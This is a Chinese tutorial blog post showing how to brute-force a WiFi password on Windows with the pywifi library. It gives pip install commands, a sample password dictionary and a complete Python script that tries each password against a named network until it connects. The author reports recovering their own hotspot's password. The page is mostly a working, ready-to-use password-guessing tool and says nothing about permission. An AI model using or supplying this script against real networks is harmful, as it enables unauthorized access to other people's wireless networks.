基于pywifi库的暴力破解wifi方法

2022/2/8 23:51:19

本文主要是介绍基于pywifi库的暴力破解wifi方法,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

简介

        破解Wifi密码,对于一个入门程序员来说应该是非常好奇的事情。这个话题从很早以前就有了。很早以前就涌现了一些破解wifi的软件平台,例如:奶瓶beini、BT2/BT3/BT4之类的。不过他们都是liunx环境的东西。需要自己搭个虚拟机或者拿个机子去安装ios镜像系统。就很麻烦。

        时隔n年,昨晚睡觉的时候偶然想起这“未完成的心愿”,于是乎今天就又开始看看:windows下现在有没有啥新科技呢?

        一番探索,真有!


环境准备

安装pywifi库

pip install pywifi

pip install comtypes


前期准备

        破解wifi的原理实际上也就是暴力破解。就是遍历各种wifi密码可能的组合,不断的尝试。

        因此,我们需要一个 密码字典。这个百度有很多,我这里做测试,所以我自己随便写了一个txt文件,作为密码字典。wifipwd.txt 内如如下:

nihaonihao
132312312
3242342534
53536346534
2423423423
2445356356
234232342
234234234
234453456
12345678
11111111
123123234

代码实现

import pywifi
from pywifi import const
import time

# 名称 Wifi密码
def wificonnect(wifiname,wifipwd):
    '''WIFI的测试连接'''
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #断开WiFi连接
    ifaces.disconnect()
    time.sleep(0.5)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 创建WIFI文件
        profile = pywifi.Profile()
        # wifi名称
        profile.ssid = wifiname
        # 密码
        profile.key = wifipwd
        # WiFi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 网卡的开放
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 删除所有的WIFI文件
        ifaces.remove_all_network_profiles()
        # 设定新的链接文件
        temp_profile = ifaces.add_network_profile(profile)
        # 连接wifi
        ifaces.connect(temp_profile)
        time.sleep(1)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False

# 读取密码本
def read_pwd():
    '''读取密码本'''
    print('开始破解:')
    path = r'wifipwd.txt'    # 密码字典路径
    file = open(path, 'r')
    
    # 开始遍历密码本
    while True:
        try:
            wifipwd = file.readline()
            if wifipwd:
                wifipwd = wifipwd[:-1]  # 删掉最后的换行符
                b = wificonnect('Invalidnode', wifipwd) #第一个参数即为wifi名称
                if b:
                    print('密码正确'+wifipwd)
                    break   # 退出一层循环
                else:
                    print('密码错误'+wifipwd)
            else:
                break
        except:
            continue
    file.close()

read_pwd()

测试结果

成功发现我的手机热点密码为 12345678


简评

        所以说,这还是个耗时的破解过程。有个好密码字典非常重要,主要是运气得好。



这篇关于基于pywifi库的暴力破解wifi方法的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程